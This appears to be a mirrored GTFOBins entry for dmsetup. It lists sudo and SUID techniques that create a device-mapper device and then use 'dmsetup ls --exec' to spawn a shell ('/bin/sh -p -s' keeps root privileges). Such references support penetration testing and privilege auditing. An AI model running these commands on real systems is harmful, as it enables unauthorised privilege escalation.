mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
16 lines
334 B
Markdown
16 lines
334 B
Markdown
|
---
|
||
|
functions:
|
||
|
sudo:
|
||
|
- code: |
|
||
|
sudo dmsetup create base <<EOF
|
||
|
0 3534848 linear /dev/loop0 94208
|
||
|
EOF
|
||
|
sudo dmsetup ls --exec '/bin/sh -s'
|
||
|
suid:
|
||
|
- code: |
|
||
|
./dmsetup create base <<EOF
|
||
|
0 3534848 linear /dev/loop0 94208
|
||
|
EOF
|
||
|
./dmsetup ls --exec '/bin/sh -p -s'
|
||
|
---
|